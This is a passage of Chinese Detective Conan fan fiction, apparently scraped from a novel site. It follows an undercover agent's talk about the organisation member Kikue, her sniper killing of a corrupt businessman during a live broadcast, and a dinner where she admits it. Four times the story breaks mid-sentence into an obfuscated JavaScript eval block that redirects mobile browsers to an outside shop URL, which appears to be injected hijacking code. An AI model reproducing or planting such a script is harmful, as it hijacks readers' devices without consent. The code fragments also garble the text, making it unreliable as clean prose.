诸伏景光已经从安室透的沉默里看出了什么,他端起杯子喝了一口水,说道,“既然是她自己自愿待在那里的,那想要把她绑到别的地方去是不可能的,除非改变对方的想法,你能做到吗?” 安室透:做不到,改变若间菊江的想法比打晕她难一百倍。 “Zero,在组织里,你没办法保护所有人。”诸伏景光冷静地说。 安室透看着诸伏景光的眼睛,良久,叹了一口气,“……我知道。” 诸伏景光感觉到安室透情绪有点消沉,微笑了一下转移话题,“你这次去美国怎么样,接触到柯尔希了吗?” 他这次的主要目的就是向Zero打听那位组织的新代号成员。 安室透有点想苦笑,其实这两个话题都是同一个话题。 “她……非常不好对付。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797544|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然若间菊江不是因为公安的关系进入组织的,那她的立场就要仔细辨别了,这件事情在他还没有完全调查清楚前,就先不告诉Hiro了。 诸伏景光皱起眉,能让安室透给出这种评价,那柯尔希一定是个相当难缠的对手。 “柯尔希很‘正常’,‘正常’到在组织里非常的不正常。”安室透垂下眼睫,“跟她在一起会因为她的‘正常’而不由地放下警惕,所以我必须时刻提醒我自己。” 任何一处因为放松警惕可能出现的纰漏对卧底来说都是致命的,他不能去赌若间菊江的洞察力和立场。 “而在你潜意识里觉得她就是一个普通人的时候,她会向你展示,她不愧是组织的代号成员。” 诸伏景光严肃了神情,消化着安室透的这几句话。 “我明白了。”许久,他说。 既然已经知道了柯尔希的情报,诸伏景光也把近期国内的情况分享给安室透。 “组织这段时间已经逐步信任我,开始分配给我一些重要的单人任务。”诸伏景光说道,“莱伊近期也经常单独行动。” “基安蒂和科恩被派到了非洲,组织留在日本的狙击手不多了。” 安室透沉思,想起了匆匆忙忙离开美国的琴酒,“我会联系公安让他们多注意一下组织在国外的动向。” 正事聊完了,屋内的气氛也放松了不少,诸伏景光看着安室透的金发,突然说,“听说你从美国带回来一个私生女,送到了组织里。” 安室透脑门冒出几排黑线,“我哪来的私生女?” 诸伏景光上挑的眼尾显得有些无辜,“组织里都这么传的,他们说看到你送一名金发的小女孩到组织的培训基地,非常不舍地看着人离开。” “明明她的监护人是柯尔希!”安室透咬牙切齿地辩解。 “看来柯尔希就是传闻里的女主角了。”诸伏景光看起来恍然大悟,语气调侃。 这还不到半天,组织里传播八卦的速度这么快吗,可惜准确度还不如日本的三流媒体。 看起来自己的幼驯染再逗下去就要炸毛了,诸伏景光见好就收,一秒回归正经的表情,“那个小女孩就是巴特布朗案那个?” 这件案子已经臭名昭著到举世皆知了。 安室透点点头,“当时柯尔希帮了那个孩子一把,组织可能是看重了这一点,把她带回来了。” 诸伏景光对那个小女孩有怜悯有悲哀,但更多的是无能为力。 他们卧底的目的就是希望这种事情不要再发生,却对眼前正在发生的事情什么都做不了。 他看了看手表,已经不早了,他出来的时间够长了,“我该回去了,消失这么久可不太好。” 安室透起身送他到门口。 站在门口穿好鞋,诸伏景光突然问道,“你想要保护的那个人,是柯尔希?” 诸伏景光的敏锐程度不在他之下,自从开口,安室透就做好了被幼驯染察觉的准备。 诸伏景光见安室透默认,但没有开口解释的意思,眼睛里多了探究和深思。 “这么看,柯尔希的确是非常可怕的对手了。” 24.第 24 章 可怕的若间菊江此刻正在为吃什么而苦恼。 安室透把她送到酒店后,她开了间套房就裹着被子睡了个昏天黑地,一觉醒来太阳已经快要落山了。 若间菊江拥着被子侧头看着落地窗外的夕阳一点点消失,最后彻底暗下来,楼下的车水马龙都与她无关,房间是安静的,她久违地感到一丝寂寥。 若间菊江揉揉脸,重新埋进被子里,放松了四肢。 刚刚出差回来就感觉不适应了,难道她其实是那种闲不下来的天选打工人? 不行不行,这个想法刚冒出来就被若间菊江打散了,这也太可怕了,她才不要变成那样。 差点就被资本家压榨到了。 又在床上赖了几分钟,若间菊江凭借毅力把自己拔出来,准备出去觅食。 在美国的时候就天天叫酒店送餐,如果回日本了还在房间里吃饭,那菊酱的人生好失败。 夜晚的东京是繁华的,商业街的霓虹灯编制出迷幻的梦。 若间菊江插着兜随意地晃进一家店子,一拉开门,店里喧闹的声音扑面而来。 老板忙碌得热火朝天,注意到若间菊江,在百忙之中伸出头来招呼道,“这位客人要来点什么吗?” 客人这么多,这家店看起来很好吃的样子,但是店里的男人好多。 若间菊江站在店门口踌躇了一会儿,还是被香气吸引着踏进店里。 大不了打包外带好了,若间菊江想。 她挑了个还算人少的角落,刚刚落座就有服务生拿着菜单过来招待。 扎着马尾的少女语气轻快,“欢迎光临美味得要死的拉面店!请问要点什么?” 好直白的介绍,若间菊江进店的时候根本就没有注意头顶的招牌,突然听到店员用非常自豪的语气说出这番话,一下还有点没反应过来。 直到她看到菜单上的名字才发现,什么嘛,居然会有人用这种名字做店名。 “唔,有没有什么推荐?”若间菊江翻了翻菜单,问道。 少女店员仿佛就等着若间菊江问这个问题,强烈推荐道,“要说最好吃的,还是我们家的‘阎魔大王拉面’!所有的客人在尝试过后都赞不绝口呢!” 若间菊江并不是很适应少女这种对自己的工作情绪非常高昂的状态,眨了眨眼睛,“……好的,那就这个好了。” “好嘞,‘阎魔大王拉面’一份~”少女手脚麻利地收走菜单,朝厨房里配菜的老板喊道,然后又激情饱满地去招待下一桌顾客。 估计是休息时间出来兼职的高中生吧,若间菊江支着脸幽幽地看着她,青春的少女真好啊,连工作都这么有元气。 她已经像一个被工作吸干精力,老了好几岁的阿姨了,明明自己也是刚毕业没多久,却感觉读书的快乐日子恍若隔世了。 若间菊江悲伤地叹了口气,完全没意识到自己在其他的组织成员眼中同样是“活力满满”。 还好这家店虽然看着人多,上菜却很快,没一会儿“阎魔大王拉面”就被端了上来。 每一根面条都吸满了汤汁,配上了分量很大的笋干和形状饱满的溏心蛋,鲜美的味道还没入口就已经能够感受到了。 若间菊江掰开筷子,双手合十,期待地挑起一点拉面,“我开动了。” 面条入口的那瞬间,若间菊江的眼睛猛地亮起来。 !!!! 超级好吃! 若间菊江觉得自己的人生一下就幸福起来了。 如果爸爸在的话一定会是这家店的常客,若间菊江脑袋里突然冒出了这个念头。 若间清彦可是拉面的忠实爱好者,曾经创造过一日三餐全部都吃拉面的优秀记录,如果被他发现了这家拉面馆,肯定会成为老板重要的收入来源吧。 若间菊江低着头嗦了一口面,用筷子搅了搅碗里的汤。 算了,爸爸连妈妈做的饭都能说出“好吃”的评价,味觉已经坏掉了,吃这么好吃的面条也是浪费,就不带他来吃了。 在气氛火热的店里吃饭很容易被周围的情绪带动,等若间菊江满足地把最后一口拉面塞进嘴里的时候,额头已经隐隐出汗了。 凉爽的秋天来这样一碗拉面真是让人神清气爽。 “你好,麻烦再来一碗打包~”若间菊江伸手示意道。 “好的,‘阎魔大王拉面’一碗打包。”服务生很快重复了一遍。 等餐的过程中,若间菊江忍不住翘了翘脚,心情很好地打量起这个不怎么起眼的小店。 虽然看起来很受欢迎,但这家店的装修堪称简陋,不大的店面只摆了几张桌椅,就连桌子上摆着的宣传菜单都是一副上了年纪的样子。 “日向财二,那不过是个有钱的人渣!” 隔壁突然变大的嗓门吸引了若间菊江的注意。 若间菊江探头看去,她隔壁坐着的是两个社畜打扮的男子,年长的那个像是已经喝多了,正举着酒杯嚷嚷,“就算警察知道他干的那些事,还不是拖拖拉拉地不敢逮捕,警视厅就是一群废物!” 嘴里虽然高谈阔论,但是带着汗渍的衣领和已经明显磨损的袖口显示出他只不过是职场上郁郁不得志的一员。 他旁边更年轻一点的同伴手忙脚乱,一边想要制止前辈略显冒犯的发言又不得章法,一边抱有歉意地看向周围的人。 经过他这么一提醒,若间菊江才想起来自己出差之前还有一桩事情没有了结。 当初调查日向财二只是因为他在组织的合作名单上,并且开始变得不怎么听组织的话,是若间菊江挑选出来作为“榜样”的幸运儿罢了。 结果越调查她越发现,这个人看起来胆子很小,干的事情倒是又蠢又毒,身上的罪行足够他在监狱里待到死了。 真不知道是有钱人都这样,还是若间菊江那么幸运,随手就抽中了大雷。 那20亿日元会让日向集团伤筋动骨,但颠覆不了根基,日向财二纵然私德不好,但为了集团的颜面,他们一定会请最好的律师,动用一切力量让他免受牢狱之灾。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808040|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >被他撞死的女孩的父母申诉无果,整日浑浑噩噩以泪洗面,被他用手段弄破产的公司社长也在家里上吊自杀了,如果这种人还能继续掌握财富享受生活的话,若间菊江觉得空气都会被污染变得浑浊了。 “您的拉面好了。”少女的声音打断了若间菊江的想法。 “多谢。”若间菊江把日元放到桌子上,朝她微笑了一下。 “没、没关系的。”服务生突然结巴,眼睛亮亮的,“看起来您很喜欢我们家的招牌拉面,您下次来就算是熟客了,我可以给您折扣优惠!” “真的吗,那太好了,我一定会再来的。”若间菊江一边说着,一边被服务生送到门口。 “欢迎下次光临!”店门口,服务生冲若间菊江的背影喊道。 *** 天还蒙蒙亮,安室透就已经起床进行晨练了,他一般的晨练内容是沿着公园边的河道跑步,今天却不知不觉地跑到了一座寺庙边。 寺庙里,一排排墓碑静寂地站在那里,安室透沉着眉眼一个个看过去,在公安,殉职的警察不出意外都会被葬在这里。 终于,他在一棵松树边找到了若间清彦的墓碑。 令人意外的是,墓前除了寺庙会定期摆上的鲜花以外,还放着一碗凉透了的拉面。 “这是昨天晚上一个小姑娘放在这里的,”清晨起来打扫庭院的住持发现了这个面生的年轻人,走过来搭话道。 “当时还真是吓了一跳呢,一般晚上很少会有人过来的,还是因为送拉面这种事。” 能干出这种事情的,除了若间菊江不会再有第二个人选了。 拉面的包装袋上还印着“美味得要死的拉面店”的字样,安室透眼睛里闪过一丝笑意,但很快就隐藏起来了。 “她经常过来吗?”安室透问道。 “还好吧,”住持把扫帚放到一边,回忆道,“有的时候一两年才来一次,有的时候一个月就会来三四次。” 安室透若有所思,对住持说,“我是她的朋友,想要多了解她一点,今天的事情还请帮我保密,我怕她知道了以后会反感。” 住持露出一个“我懂你们年轻人”的表情,点点头,答应了安室透。 想了想,他还替若间菊江说了几句好话,“她是个好孩子,小时候会突然一个人跑来墓园待一下午,太阳落山之前就会回家,长大以后待的时间少了,不过来的次数多了不少。” 安室透可以想像小时候的若间菊江因为思念爸爸一个人待在墓碑前的小小的身影,那一定是孤独的,悲伤的。 他的表情也柔和了几分,“嗯,她会是个好孩子。” 若间菊江成为组织成员的事情他没有告诉公安,风见裕也在他的命令下对这件事守口如瓶。 若间清彦是优秀的公安,当年他的殉职对公安来说也是一个沉重的打击,安室透还是无法将现在的若间菊江和若间清彦联系在一起。 安室透盯着墓碑,表情严肃,这里面一定发生了什么公安都不清楚的事情。 25.第 25 章 在美国的时候没关注,回日本了以后若间菊江才发现,近期日本媒体十分热闹。 自从上次全国瞩目的炸弹案过去后,日向集团就一直被推在风口浪尖上。 日向财二所做的事情若间菊江只是在电话里提过一部分,这原本是应该保密的内容,不知道被哪个在场的热血青年曝光了出去再经过各大媒体的传播改造,一下引起了网民的热议。 原本的受害者摇身一变成了暗地里的加害者,仗着自身的权势为所欲为,甚至一直对外塑造良好的形象,种种反差真是令人不安。 怪不得就连酒鬼大叔都能贬低几句日向财二了,若间菊江浏览着网上的各种帖子,打了个哈欠。 最让民众愤怒的还是日向集团及日向财二本人的态度,虽然表示抱有非常真挚的歉意,但那也只是因为占用了过多的公共资源,绝口不提对那些受害者道歉的事情。 难道财阀就可以践踏法律吗?! 当然可以了。 日向集团在政商两界都具有一定的影响力,并且拥有经验丰富且专业能力过硬的律师团队,可以最大程度地为日向财二进行辩护,帮助他脱罪。 就像这次的事件,警视厅在炸弹案刚结束就顶住层层压力向日向财二发出协助调查的要求,硬是被拖了十几天,才走完正规的流程,将会在两天以后正式地将日向财二带到警视厅。 也就是说,日向财二案终于要迎来高潮部分的剧情了,所有人都翘首以盼着。 电视节目里,各种专家学者分析预测着日向财二脱罪的可能性有多大,持不同主张的人吵作一团。 正方认为日向财二罪有应得,他们应该相信日本法律的公平和正义。 反方则认为关于日向财二的各种传言真实性不明,仅凭犯罪分子的一面之词就为日向财二定罪才是真正对法律的践踏,就看警视厅只是要求协助调查而不是发出逮捕令,就能明白二者的区别。 况且看日向集团胸有成竹的态度,就知道这件事最后的结局肯定是拖一段时间后就不了了之。 不知是为了蹭热度还是墙倒众人推,网上同样出现了大量“日向财二受害者”的帖子,以第一人称叙述了自己直接或间接收到日向财二的伤害,之前碍于对方的势力不敢曝光,现在终于有勇气站出来了。 这如同火上浇油,让民意一下汹涌起来,烧成了熊熊大火。 略过那些真真假假的帖子不看,若间菊江迅速从大量的信息里提炼出来有用的内容。 第一,日向财二现在定罪困难。 第二,日向财二两天后才会被带到警视厅。 这可是太巧了! 这全要仰仗于日向司法部的努力,若间菊江真诚地表达感激。 如果不是他们这么努力得拖延时间,若间菊江还真不一定来得及从美国赶回来。 虽然若间菊江一直对警视厅抱有敌意,但还是不得不承认,警察里的确有几个厉害的家伙,一旦日向财二进入了警视厅,她想要再下手就很困难了。 日向财二以为支付了20亿日元组织就会放过他了,从此高枕无忧,专心应付警察的时候没有想到,若间菊江当时只答应了不引爆炸弹,从来没说过不再杀他。 只不过后来若间菊江就被组织派去了美国出差,她本人都差点忘记了这件事情,还是被拉面店隔壁桌的大叔提醒才想起来,也就没什么资格去指责日向财二的疏忽大意了。 在训练场沉浸练习了两天后,若间菊江背着大提琴包,站在楼顶,看着警车一辆接着一辆得停在日向集团的楼下。 所有人期待已久的日向财二交接仪式终于要开始了。 楼下已经挤满了大大小小的记者,闪光灯从日向财二出现在众人的视野里后就没停过,话筒和镜头恨不得怼到日向财二的脸边。但是都被保镖挡了回去。 即使是面对警视厅强硬的态度,日向财二也坚持他此行并非是以犯人的身份,只是协助警视厅报案而今早洗清自己的冤屈,所以保护他人身安全的保镖是不能少的。 日向财二就差把对警视厅的防备和不信任写在脸上了,高傲得意的态度让在场的警察都咬牙切齿。 但日向财二说的也没有错,他们的确没有掌握让对方定罪的关键证据,这次协助调查的机会还是上层借社会舆论的压力争取来的。 所以他们只能眼睁睁地看着日向财二在保镖的簇拥下出门,拦住了记者和摄像的同时也隔开了警察。 那样子,仿佛日向财二不是一个即将被定罪的犯人,而是特地被警察接到警视厅参观的领导。 “日向先生,对于现在网上对您的各种指控,请问您有什么想回应的吗?” “日向先生,请问您真的撞死了人逃逸了吗?” “日向先生,我们现在是全国直播,请问您有什么想要对关注这件事情的人说的吗?” “日向先生!” “日向先生……” 日向财二在最开始被爆料时还惶惶不安,现在已经被团队培训得颇有底气,就算面对记者尖锐的提问,也能面不改色地回应道:“这件事情,我真的非常抱歉,但是对于不实的指控,我是不会接受的。” “您的意思是那些事情只是炸弹犯的胡言乱语吗?”记者继续追问道。 日向财二一点也不想再跟炸弹犯扯上关系,毕竟他比谁都清楚那是组织对他的警告,所以简单地回答表明了态度后,不管记者再怎么追问他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812433|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不再回复了。 虽然他一点也不想再提到炸弹犯,但是炸弹犯还对他保持着高度关注。 若间菊江的大提琴包摊开在一边,里面的零件已经组装完成,阳光照在狙击枪上,带了丝肃杀的意味。 在这之前,若间菊江并没有经历过专业的狙击训练,毕竟若间清彦再怎么传授女儿防身的知识,也不会让不到10岁的小女孩玩狙击枪。 她的所有学习都是在加入组织后才完成的,好在天赋不错,即使是突击训练也取得了很好的效果。 和组织里的专业狙击手相比还有些不足,但是在没有干扰的情况下突袭还是足够的。 若间菊江趴在天台上,眯着眼睛,透过瞄准镜观察着日向财二的一举一动。 “万众瞩目!重磅登场!”若间菊江捏着嗓子小声评价道。 用这个场景为日向财二送行非常合适。 “希望没有小朋友收看直播。”她不怎么走心地祈祷道。 准心从日向财二的胸前逐渐上移,划过他的下巴,嘴唇,鼻尖,最后停在脑门正中心的位置。 此刻日向财二还因为记者的追问产生了不耐烦的情绪,嘴唇微动正要说什么。 伊达航站在日向财二两步之外的位置,余光扫过对面的大楼时突然发现一记反射的光。“趴下,有狙击手!”他大喊,并向前铺去。 可惜已经来不及了,因为保镖的阻隔,伊达航没办法第一时间抵达日向财二身边,只能眼睁睁看着这一切的发生。 若间菊江勾起嘴脸,扣下扳机,子弹从枪管里射出,“咻”的一声,穿过600码的空气,精准地命中目标。 血花四溅,刚刚还喧闹的现场好像被按下了暂停键,时间停滞了一秒才继续流动。 “咚。”日向财二的尸体直挺挺地倒在地上。 离他最近的记者脸上、话筒上、镜头上都被染上了红色。 保镖经过短暂的慌乱后迅速分成两波,一部分人紧急采取抢救措施,另一部分人站在前面形成一堵人墙,防止二次袭击。 场面瞬间变得躁动,前排的人目睹了日向财二被狙击的全过程,唯恐下一个目标就是自己,慌乱地想要远离,外围的人不清楚到底发生了什么,还在用力往里面挤,想要获得一手新闻。 警察快速地控制住了现场,伊达航甩开围着的保镖,迅速地检查了日向财二的脉搏,随后对自己的同事缓缓摇头。 子弹直接穿过了脑干,日向财二当场死亡,已经没有抢救的必要了。 “啊——”直面了极具冲击感的画面,一直愣在原地的记者扔掉了手里的话筒,捂着脸尖叫。 像是应景的背景音,敲响了日向财二的丧钟。 26.第 26 章 一击得手,若间菊江得意地轻哼了两声,在瞄准镜里满意地欣赏了下对面的慌乱,才起身。 对面的警察已经发现她了,这个绝佳的观赏位不能久留了。 她动作麻利地收好狙击枪,背着大提琴包,从大楼外侧的应急楼梯撤退。 铁质的楼梯发出“哒哒”的脚步声,若间菊江心情很好地哼着小曲子,音调忽上忽下断断续续的,显得有些诡异。 日向财二那种人,只要这次顺利脱罪,以后还会更加猖狂的,既然警方制裁不了他,那就让菊酱出手吧~ 做好事不留名,她可真是无私奉献。 若间菊江脚步轻快地穿过小巷走在街上,手拦下了一部计程车。 “麻烦去米花大酒店。”她在那里付了一个月的房费。 “这位小姐,请问你是音乐家吗?”司机从后视镜里看见了若间菊江的琴包,主动搭话道。 “也不算啦,其实我只是爱好而已。”若间菊江谦虚道。 其实并不是,她一点也不喜欢大提琴,这只是若间清彦去世后,若间美惠子不再允许她学习拳击,强迫她改学大提琴的。 也许是因为若间清彦的死给若间美惠子带来的刺激过大,若间菊江觉得那段时间的妈妈就像变了一个人一样,对若间清彦相关的一切都非常敏感,一旦若间菊江提到爸爸,她就会暴躁易怒,为了稳住妈妈的情绪,若间菊江只能听从母亲的安排。 若间菊江摸索着一边的大提琴包,她离开妈妈上大学后的第一件事就是把她用来练习的大提琴砸了个稀烂,发泄后又后悔,对着一地的残骸痛哭,最后自己沉默地收拾好破烂的琴身,洗了把脸后,像没事人一样化好淡妆去上课。 “学大提琴应该很辛苦吧?”司机问,“我女儿在学校参加了钢琴社团,回家后就一直闹着要我们给她买钢琴练习,真不知道她能不能坚持下去。” 嘴里虽然说着抱怨的话,但司机的眉眼都带着笑意和自豪,显然非常爱他的女儿。 若间菊江垂下眼睫,看着自己的手心,“是啊,学乐器很辛苦的,我的手上全部磨出了茧子呢。” 大学四年,她当初学大提琴的茧早就消失不见了,现在手上的是她进入组织后练枪时磨出的新茧。 司机停在一个红灯前,唏嘘地说,“能坚持下来真实很不容易啊,我女儿只要能坚持到毕业我就满足了。” “是啊。”若间菊江把头抵到车窗上,看着窗外的景色淡淡道。 烦死了,司机大叔说的话没一句是顺心的,白白把她的好心情浪费了,中年男人说话就是难听。 *** 回到酒店,若间菊江美美地泡了个澡,洗掉了一身的硝烟味儿,敷着面膜,翻看手机上的最新消息。 日向财二事件热度很高,本来观看媒体直播的人就很多,现在他在众目睽睽之下被人杀死,更是点燃了网民们的热情。 虽然警方第一时间阻止了视频的传播,但各种讨论的帖子还是一个接一个地冒出来。 《神秘的行刑者:是为了复仇还是正义的审判?》 《日向集团掌权人当街被杀,日本大恐慌》 《从日向财二一案看出东京警视厅和大版警署的实力差距》 《高清视频私聊我领取!》 若间菊江好奇地点进最后一个帖子,就看到贴主说他有日向财二被杀的直播高清录屏,想要的人可以私聊他。 若间菊江随着他的指示一步一步添加了好友,然后对面就发来了一条消息,“视频五万日元。” 若间菊江:…… 什么意思,她只是想重新回味一下她的应用战绩,居然还要花钱吗? 若间菊江微笑,不再管对面发来的推销信息,直接拉黑举报一条龙。 警察都禁止传播了,居然还有人偷偷售卖,漏网之鱼就应该受到制裁。 不到两分钟,若间菊江再刷新的时候,那个帖子已经变成了禁止访问的状态。 这次日本警方难得的效率很高嘛,若间菊江挑眉,看来是很愤怒了。 不过也是,之前炸弹案的时候就已经被摆了一道,现在又因为保护不利让日向财二在民众面前被人射杀,这下东京警视厅在警界已经抬不起头了把。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828721|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 真不知道他们之后会受到怎样的声讨,若间菊江深表担忧。 “Jingle bells,jingle bells,jingle all the way~”一阵手机铃声突然响起。 从美国回来后,若间菊江就顶着安室透一言难尽的眼神把铃声改成了这首歌,她觉得这首歌很适合用来迎接几个月后的圣诞节,绝对不是因为什么恶趣味。 安室透表示并不认同。 有的人就是不禁想,来电提示上安室透的大名一闪一闪的。 “嗨嗨,透君,上午好~”若间菊江接通了电话。 “上午好,菊江。”安室透的语气听起来与平时无二,电话那头的表情却很严肃。 刚刚的狙击事件,公安方面也十分关注,甚至比警视厅还更早一步拿到报告。 报告对狙击点留下的弹壳和硝烟痕迹做了检测,给出的结果安室透很熟悉——PSG-1狙击步枪,是组织里的狙击手最常使用的款式,也是基安蒂最钟爱的型号。 不过根据Hiro给出的消息,基安蒂和科恩这对搭档现在应该还在国外执行任务,而且基安蒂从没展现出对日向财二的兴趣。 组织里和日向财二最有关联的另有其人。 但是他在组织里从未听说柯尔希的狙击水平怎么样,他也想不出对方拿到20亿日元后继续杀死日向财二有什么好处。 不管暗地里怎么样,组织对警方始终是忌惮的,并不会在正面场合进行挑衅,如果这件事伸到是若间菊江做得,那她显然已经迈过了红线。 不知道是组织的任务还是若间菊江的个人行动,他必须要搞清楚。 “在美国的时候,原本想请你去吃纽约有名的西餐厅,但因为FBI的事情耽误了,今天晚上不知道你有没有空让我补上这顿饭呢?” “可以呀,”若间菊江没怎么思考就答应下来了,“反正最近也没有什么事情嘛。” “好的,”安室透轻笑一声,“那我五点半的时候会在酒店楼下接你。” “收到~”若间菊江语气欢快地说。 27.第 27 章 因为今天晚上和安室透约了晚饭,所以若间菊江就通知酒店取消了提前定好的下午茶,五点多的时候已经基本收拾妥当了。 安室透打来电话的时候,若间菊江正在对着门口的镜子涂上最后的口红。 “喂,透君?”若间菊江满意地看着镜子里的红唇,勾起一抹弧度。 “我已经到米花酒店了,我在楼下等你。”安室透把车停在米花酒店门口的停车位上,声音温和。 “好的好的,我马上下去啦。”若间菊江歪着头夹着手机,两只手急急忙忙地把补妆用的东西塞到包里。 “不着急,慢慢来,时间还早。”安室透听见电话对面忙乱的声音,宽慰道。 “三分钟,我很快的哦。”若间菊江保证道,然后就匆匆挂了电话。 临走时,若间菊江的余光扫过桌子上和化妆品混在一起的□□,这是她刚刚清理包包的内存的时候拿出来的,犹豫了两秒,她还是收进了包里。 以安室透的身手,跟他出去不会遇到危险,但是说不定最大的危险就在身边呢。 出了酒店的大门,若间菊江很快就发现了安室透的车。 白色的马自达RX-7安安静静地停在那里,流畅的线条吸引了不少过路人的目光。 “等很久了吗?”若间菊江拉开车门坐了进去。 “怎么会?”安室透笑着侧过头,“不多不少正好三分钟。” 若间菊江昂昂下巴,“我都说了。”她刚刚那一问只不过是礼貌性的问候罢了。 随着若间菊江的动作,她耳边的珍珠耳坠轻轻晃了晃,吸引着目光。 她今天穿了一件墨绿色的短裙,搭配着珍珠的饰品,压下去了些锐利的美艳,添了几分日式的温婉。 “这可是当季新品哦,我刚刚才拿到手。”若间菊江向安室透展示。 安室透的目光从她的细高跟向上,划过铺在膝头的裙摆和颈间的珍珠项链,最终停在若间菊江亮晶晶的双眼上。 “这么看,我还真是幸运呢。”安室透的话语间满是赞美。 若间菊江煞有介事地点点头,“我可不是随便就能约到的哦,不过谁让你是我的搭档呢。” 安室透浅笑着启动车子,缓缓驶出,“菊江最近很忙吗,我还以为回国后你会好好休息一下的。” “我最开始也是这么想的啊,”若间菊江对自己最近的忙碌程度也不太满意,“好不容易组织没什么事情欸。” “不过,”她话锋一转,“谁让我突然想起来还有出差前遗留的事情没办完呢,只好抽时间补上啦。” “一直放在那里说不定会变得更麻烦。” “是什么困难的事情吗?”安室透皱起眉,“需要我帮忙吗?” “透君,你居然愿意主动帮同事解决工作以外的麻烦!”若间菊江感动道,“但是这次就不用了,只是一个小事情,我已经处理好了。” “看来没有我出场的余地了呢。”安室透故作遗憾地耸耸肩。 “这种好事就让我一个人做吧。”若间菊江笑眯眯地说。 “好事?” “为民除害啊。”若间菊江语气轻飘飘的,给了安室透沉重一击。 果然是她,安室透的猜测完全正确。 之前没得到准确的答案,安室透还在心里默默祈祷,现在听若间菊江亲口承认了反而变得平静下来了。 “我以为你不打算管日向财二了。”安室透直接将话挑明了。 若间菊江并不奇怪安室透知道这件事情,她用20亿日元买到代号的事应该在组织里传遍了,波本一个搞情报的要是没这点能力干脆辞职好了。 若间菊江摇摇手指,“拿钱是拿钱,除害是除害,我只是说会放过日向大厦,没说过放过日向财二哦。” “组织成员道德标准这么高可不好。”若间菊江教育道。 “哦?我还以为你是因为看不惯日向财二的所作所为才为民除害的?”安室透反问。 “当时拿那个女孩子的事情威胁日向财二,算是提前收取报酬了。”若间菊江说,拿已逝之人的事做筹码并不在她的行事规则里,现在这样就当事补偿了。 看着安室透有点惊讶的表情,若间菊江瞪圆了眼睛,有点恼羞成怒,“你那是什么表情啊,我是那么低级的人吗?” “抱歉抱歉,我只是觉得……这样也好。”安室透笑着道歉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833039|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 最起码若间菊江的底色不是完全的黑,这个认知让安室透松了口气。 如果若间菊江真的以杀人为乐,无可救药,他都不知道怎么跟公安那边交代。 虽然若间菊江本人可能并不在意这个交代。 “没想到你会是这种反应。”若间菊江惊奇地盯着安室透,她还以为组织里的人不会认同她这种做法。 “如果是琴酒的话,即使还在开着车,□□就已经顶到这了。” 若间菊江比了个手枪的手势,抵在自己的太阳穴,也是非常乖觉了。 “既然你知道,下次说话之前就注意点。”安室透简直无奈,他真怕哪天琴酒实在是忍不住真的开枪了。 “嘿嘿。”若间菊江很乖巧地笑,说出的话就不是那么好听了,"主要是一碰到琴酒我的吐槽欲就忍不住上升,我很努力地在憋了,但是实在是憋不住。" “而且琴酒没那么小气的,是脾气有点差,但还是很有大局观的。”若间菊江补充,“我也不是不能理解,杀掉同事这种事我也想过一百遍,但是一次都没有真正执行哦。” 大野课长算上司,不算同事。 如果不是正在开车,安室透真想闭上眼睛,不过好在目的地很快就到了,他可以转换话题,而不是再就这个危险的话题继续聊下去。 停好车子,安室透下车,打开了若间菊江那一侧的车门,朝她伸出手,“走吧,餐厅到了。” 若间菊江盯着安室透的动作,“绅士的礼仪?” “当然。”安室透笑眯眯的,他知道若间菊江不喜欢和男性接触,所以他是故意的。 若间菊江犹豫了几秒,还是把手搭了上去。 接触的那一瞬间,安室透轻轻地握了握,若间菊江的手柔软细腻,但有几处带有明显的新茧。 